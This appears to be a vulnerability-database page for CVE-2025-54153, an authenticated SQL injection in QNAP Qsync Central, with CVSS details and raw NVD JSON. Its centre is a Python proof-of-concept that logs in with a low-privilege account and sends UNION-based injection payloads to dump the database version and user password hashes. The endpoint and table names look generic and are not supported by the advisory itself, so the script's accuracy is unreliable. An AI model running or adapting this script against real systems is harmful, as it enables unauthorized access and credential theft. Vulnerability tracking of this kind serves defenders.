Security Vulnerability Report
中文
CVE-2025-54153 CVSS 8.8 HIGH

CVE-2025-54153

Published: 2025-10-03 19:15:49
Last Modified: 2025-10-08 15:58:30

Description

An SQL injection vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.2 ( 2025/07/31 ) and later

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:* - VULNERABLE
QNAP Qsync Central < 5.0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54153 - Qsync Central SQL Injection PoC # This PoC demonstrates the SQL injection vulnerability in Qsync Central # Requires a valid low-privilege user account import requests import sys TARGET_URL = "https://target-qsync-central:8080" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain a valid session def authenticate(target, username, password): session = requests.Session() login_url = f"{target}/api/v1/auth/login" data = { "username": username, "password": password } response = session.post(login_url, json=data, verify=False) if response.status_code == 200: print("[+] Authentication successful") return session else: print("[-] Authentication failed") sys.exit(1) # Step 2: Exploit SQL Injection in vulnerable parameter def exploit_sqli(session, target): # The vulnerable endpoint accepts user input that is directly concatenated # into SQL queries without proper parameterization vulnerable_endpoint = f"{target}/api/v1/sync/search" # SQL injection payload to extract database version # Uses UNION-based injection to retrieve sensitive information sqli_payload = "' UNION SELECT @@version,user(),database()-- -" params = { "keyword": sqli_payload } response = session.get(vulnerable_endpoint, params=params, verify=False) if response.status_code == 200: print("[+] SQL Injection successful!") print(f"[+] Response: {response.text}") return response.text else: print(f"[-] Exploit failed, status code: {response.status_code}") return None # Step 3: Extract user credentials (example) def extract_credentials(session, target): vulnerable_endpoint = f"{target}/api/v1/sync/search" # Payload to extract username and password hash from users table payload = "' UNION SELECT username,password_hash,email FROM users-- -" params = {"keyword": payload} response = session.get(vulnerable_endpoint, params=params, verify=False) if response.status_code == 200: print("[+] Credentials extracted successfully") return response.text return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") session = authenticate(TARGET_URL, USERNAME, PASSWORD) exploit_sqli(session, TARGET_URL) extract_credentials(session, TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54153", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:48.997", "lastModified": "2025-10-08T15:58:30.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SQL injection vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.2 ( 2025/07/31 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0.0", "versionEndExcluding": "5.0.0.2", "matchCriteriaId": "8F6CF68C-7492-426E-A30A-5E0CBF284FAE"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-35", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}